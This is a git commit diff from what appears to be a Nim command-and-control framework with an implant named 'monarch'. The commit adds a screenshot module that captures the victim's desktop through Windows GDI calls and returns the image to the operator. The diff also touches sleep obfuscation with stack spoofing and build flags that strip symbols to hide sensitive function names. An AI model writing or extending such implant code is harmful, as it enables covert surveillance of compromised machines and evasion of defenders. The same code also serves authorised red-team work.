Implemented 'screenshot' command.
This commit is contained in:
@@ -6,7 +6,7 @@ Collapsed=0
|
|||||||
Pos=0,30
|
Pos=0,30
|
||||||
Size=2868,1665
|
Size=2868,1665
|
||||||
Collapsed=0
|
Collapsed=0
|
||||||
DockId=0x00000001,0
|
DockId=0x00000003,0
|
||||||
|
|
||||||
[Window][Debug##Default]
|
[Window][Debug##Default]
|
||||||
Pos=60,60
|
Pos=60,60
|
||||||
@@ -24,13 +24,36 @@ Size=1080,1629
|
|||||||
Collapsed=0
|
Collapsed=0
|
||||||
|
|
||||||
[Window][Example: Console]
|
[Window][Example: Console]
|
||||||
Pos=0,781
|
Pos=0,458
|
||||||
Size=2868,914
|
Size=2868,1237
|
||||||
Collapsed=0
|
Collapsed=0
|
||||||
DockId=0x00000002,0
|
DockId=0x00000002,0
|
||||||
|
|
||||||
[Docking][Data]
|
[Window][Example: Log]
|
||||||
DockSpace ID=0x3674675E Window=0x538FB738 Pos=0,30 Size=2868,1665 Split=Y Selected=0x5E5F7166
|
Pos=1951,30
|
||||||
DockNode ID=0x00000001 Parent=0x3674675E SizeRef=2868,749 CentralNode=1 Selected=0x5E5F7166
|
Size=917,1103
|
||||||
DockNode ID=0x00000002 Parent=0x3674675E SizeRef=2868,914 Selected=0x1BCA3180
|
Collapsed=0
|
||||||
|
DockId=0x00000004,0
|
||||||
|
|
||||||
|
[Window][DockSpace Demo]
|
||||||
|
Pos=0,0
|
||||||
|
Size=2868,1695
|
||||||
|
Collapsed=0
|
||||||
|
|
||||||
|
[Table][0x951FCC8A,6]
|
||||||
|
RefScale=24
|
||||||
|
Column 0 Width=50 Sort=0v
|
||||||
|
Column 1 Width=74
|
||||||
|
Column 2 Width=111
|
||||||
|
Column 3 Width=118
|
||||||
|
Column 4 Weight=1.0000
|
||||||
|
Column 5 Width=-1
|
||||||
|
|
||||||
|
[Docking][Data]
|
||||||
|
DockSpace ID=0x3674675E Window=0x538FB738 Pos=0,30 Size=2868,1665 Split=Y Selected=0x5E5F7166
|
||||||
|
DockNode ID=0x00000001 Parent=0x3674675E SizeRef=2868,426 Split=X Selected=0x5E5F7166
|
||||||
|
DockNode ID=0x00000003 Parent=0x00000001 SizeRef=1949,833 CentralNode=1 Selected=0x5E5F7166
|
||||||
|
DockNode ID=0x00000004 Parent=0x00000001 SizeRef=917,833 Selected=0x38CCB771
|
||||||
|
DockNode ID=0x00000002 Parent=0x3674675E SizeRef=2868,1237 Selected=0x1BCA3180
|
||||||
|
DockSpace ID=0xC0DFADC4 Window=0xD0388BC8 Pos=0,30 Size=2868,1665 CentralNode=1
|
||||||
|
|
||||||
|
|||||||
@@ -72,7 +72,7 @@ proc GetRandomThreadCtx(): CONTEXT =
|
|||||||
|
|
||||||
return ctx
|
return ctx
|
||||||
|
|
||||||
# Ekko sleep obfuscation with stack spoofing
|
# Timer based sleep obfuscation with stack spoofing (Ekko/Zilean)
|
||||||
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) =
|
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) =
|
||||||
|
|
||||||
echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]."
|
echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]."
|
||||||
|
|||||||
@@ -69,6 +69,6 @@ proc main() =
|
|||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] ", err.msg
|
echo "[-] ", err.msg
|
||||||
|
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
main()
|
main()
|
||||||
@@ -2,6 +2,6 @@
|
|||||||
-d:agent
|
-d:agent
|
||||||
-d:release
|
-d:release
|
||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Stip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -47,6 +47,7 @@ type
|
|||||||
CMD_BOF = 12'u16
|
CMD_BOF = 12'u16
|
||||||
CMD_DOWNLOAD = 13'u16
|
CMD_DOWNLOAD = 13'u16
|
||||||
CMD_UPLOAD = 14'u16
|
CMD_UPLOAD = 14'u16
|
||||||
|
CMD_SCREENSHOT = 15'u16
|
||||||
|
|
||||||
StatusType* = enum
|
StatusType* = enum
|
||||||
STATUS_COMPLETED = 0'u8
|
STATUS_COMPLETED = 0'u8
|
||||||
|
|||||||
@@ -8,7 +8,8 @@ import
|
|||||||
filesystem,
|
filesystem,
|
||||||
filetransfer,
|
filetransfer,
|
||||||
environment,
|
environment,
|
||||||
bof
|
bof,
|
||||||
|
screenshot
|
||||||
|
|
||||||
type
|
type
|
||||||
ModuleManager* = object
|
ModuleManager* = object
|
||||||
@@ -30,6 +31,7 @@ proc loadModules*() =
|
|||||||
registerCommands(filetransfer.commands)
|
registerCommands(filetransfer.commands)
|
||||||
registerCommands(environment.commands)
|
registerCommands(environment.commands)
|
||||||
registerCommands(bof.commands)
|
registerCommands(bof.commands)
|
||||||
|
registerCommands(screenshot.commands)
|
||||||
|
|
||||||
proc getCommandByType*(cmdType: CommandType): Command =
|
proc getCommandByType*(cmdType: CommandType): Command =
|
||||||
return manager.commandsByType[cmdType]
|
return manager.commandsByType[cmdType]
|
||||||
|
|||||||
151
src/modules/screenshot.nim
Normal file
151
src/modules/screenshot.nim
Normal file
@@ -0,0 +1,151 @@
|
|||||||
|
import ../common/[types, utils]
|
||||||
|
|
||||||
|
# Define function prototype
|
||||||
|
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
|
# Command definition (as seq[Command])
|
||||||
|
let commands*: seq[Command] = @[
|
||||||
|
Command(
|
||||||
|
name: protect("screenshot"),
|
||||||
|
commandType: CMD_SCREENSHOT,
|
||||||
|
description: protect("Take a screenshot of the target system."),
|
||||||
|
example: protect("screenshot"),
|
||||||
|
arguments: @[],
|
||||||
|
execute: executeScreenshot
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
# Implement execution functions
|
||||||
|
when defined(server):
|
||||||
|
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
|
||||||
|
when defined(agent):
|
||||||
|
|
||||||
|
import winim/lean
|
||||||
|
import winim/inc/wingdi
|
||||||
|
import strutils, strformat, times
|
||||||
|
import ../agent/protocol/result
|
||||||
|
import ../common/[utils, serialize]
|
||||||
|
|
||||||
|
proc takeScreenshot(): seq[byte] =
|
||||||
|
|
||||||
|
var
|
||||||
|
screenshotLength: ULONG
|
||||||
|
screenshotBytes: PVOID
|
||||||
|
|
||||||
|
bmpFileHeader: BITMAPFILEHEADER
|
||||||
|
bmpInfoHeader: BITMAPINFOHEADER
|
||||||
|
bmpInfo: BITMAPINFO
|
||||||
|
desktop: BITMAP
|
||||||
|
deviceCtx: HDC
|
||||||
|
memDeviceCtx: HDC
|
||||||
|
bmpSection: HBITMAP
|
||||||
|
gdiCurrent: HGDIOBJ
|
||||||
|
gdiObject: HGDIOBJ
|
||||||
|
resX: INT
|
||||||
|
resY: INT
|
||||||
|
bitsLength: ULONG
|
||||||
|
bitsBuffer: PVOID
|
||||||
|
|
||||||
|
zeroMem(addr bmpFileHeader, sizeof(BITMAPFILEHEADER))
|
||||||
|
zeroMem(addr bmpInfoHeader, sizeof(BITMAPINFOHEADER))
|
||||||
|
zeroMem(addr bmpInfo, sizeof(BITMAPINFO))
|
||||||
|
zeroMem(addr desktop, sizeof(BITMAP))
|
||||||
|
|
||||||
|
# Retrieve system resolution
|
||||||
|
resX = GetSystemMetrics(SM_XVIRTUALSCREEN)
|
||||||
|
resY = GetSystemMetrics(SM_YVIRTUALSCREEN)
|
||||||
|
|
||||||
|
# Obtain handle to the device context for the entire screen
|
||||||
|
deviceCtx = GetDC(0)
|
||||||
|
if deviceCtx == 0:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: ReleaseDC(0, deviceCtx)
|
||||||
|
|
||||||
|
# Fetch BITMAP structure using GetCurrentObject and GetObjectW
|
||||||
|
gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP)
|
||||||
|
if gdiCurrent == 0:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: DeleteObject(gdiCurrent)
|
||||||
|
|
||||||
|
if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
|
||||||
|
# Construct BMP headers
|
||||||
|
# Calculate amount of bits required to represent screenshot
|
||||||
|
bitsLength = ((( 24 * desktop.bmWidth + 31) and not 31) div 8) * desktop.bmHeight
|
||||||
|
|
||||||
|
bmpFileHeader.bfType = 0x4D42 # Signature of the BMP file, "BM"
|
||||||
|
bmpFileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)
|
||||||
|
bmpFileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bitsLength
|
||||||
|
|
||||||
|
bmpInfoHeader.biSize = ULONG(sizeof(BITMAPINFOHEADER))
|
||||||
|
bmpInfoHeader.biBitCount = 24 # Color depth (same as defined in the formula above)
|
||||||
|
bmpInfoHeader.biCompression = BI_RGB # uncompressed RGB format
|
||||||
|
bmpInfoHeader.biPlanes = 1 # Number of color planes, always set to 1
|
||||||
|
bmpInfoHeader.biWidth = desktop.bmWidth # Width of the bitmap image
|
||||||
|
bmpInfoHeader.biHeight = desktop.bmHeight # Height of the bitmap image
|
||||||
|
|
||||||
|
# Size calculation and memory allocation
|
||||||
|
screenshotLength = bmpFileHeader.bfSize
|
||||||
|
screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength)
|
||||||
|
if screenshotBytes == NULL:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes)
|
||||||
|
|
||||||
|
# Assembly the bitmap image
|
||||||
|
memDeviceCtx = CreateCompatibleDC(deviceCtx)
|
||||||
|
if memDeviceCtx == 0:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: ReleaseDC(0, memDeviceCtx)
|
||||||
|
|
||||||
|
# Initialize BITMAPINFO with prepared info header
|
||||||
|
bmpInfo.bmiHeader = bmpInfoHeader
|
||||||
|
|
||||||
|
bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0)
|
||||||
|
if bmpSection == 0 or bitsBuffer == NULL:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
|
||||||
|
# Select the newly created bitmap into the memory device context
|
||||||
|
gdiObject = SelectObject(memDeviceCtx, bmpSection)
|
||||||
|
if gdiObject == 0:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: DeleteObject(gdiObject)
|
||||||
|
|
||||||
|
# Copy the screen content from the source device context to the memory device context
|
||||||
|
if BitBlt(
|
||||||
|
memDeviceCtx, # Destination device context
|
||||||
|
0, 0, # Destination coordinates
|
||||||
|
desktop.bmWidth, desktop.bmHeight, # Dimensions of the area to copy
|
||||||
|
deviceCtx, # Source device context
|
||||||
|
resX, resY, # Source coordinates
|
||||||
|
SRCCOPY # Copy source directly to destination
|
||||||
|
) == 0:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
|
||||||
|
# Return the screenshot as a seq[byte]
|
||||||
|
result = newSeq[byte](screenshotLength)
|
||||||
|
copyMem(addr result[0], addr bmpFileHeader, sizeof(BITMAPFILEHEADER))
|
||||||
|
copyMem(addr result[sizeof(BITMAPFILEHEADER)], addr bmpInfoHeader, sizeof(BITMAPINFOHEADER))
|
||||||
|
copyMem(addr result[sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)], bitsBuffer, bitsLength)
|
||||||
|
|
||||||
|
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
try:
|
||||||
|
|
||||||
|
echo protect(" [>] Taking and uploading screenshot.")
|
||||||
|
|
||||||
|
let
|
||||||
|
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.bmp"
|
||||||
|
screenshotBytes: seq[byte] = takeScreenshot()
|
||||||
|
|
||||||
|
var packer = Packer.init()
|
||||||
|
|
||||||
|
packer.addDataWithLengthPrefix(string.toBytes(screenshotFilename))
|
||||||
|
packer.addDataWithLengthPrefix(screenshotBytes)
|
||||||
|
|
||||||
|
let data = packer.pack()
|
||||||
|
|
||||||
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, data)
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
@@ -48,7 +48,7 @@ proc handleHelp(cq: Conquest, parsed: seq[string]) =
|
|||||||
cq.displayHelp()
|
cq.displayHelp()
|
||||||
except ValueError:
|
except ValueError:
|
||||||
# Command was not found
|
# Command was not found
|
||||||
cq.error("The command '{parsed[1]}' does not exist." & '\n')
|
cq.error(fmt"The command '{parsed[1]}' does not exist." & '\n')
|
||||||
|
|
||||||
proc handleAgentCommand*(cq: Conquest, input: string) =
|
proc handleAgentCommand*(cq: Conquest, input: string) =
|
||||||
# Return if no command (or just whitespace) is entered
|
# Return if no command (or just whitespace) is entered
|
||||||
|
|||||||
Reference in New Issue
Block a user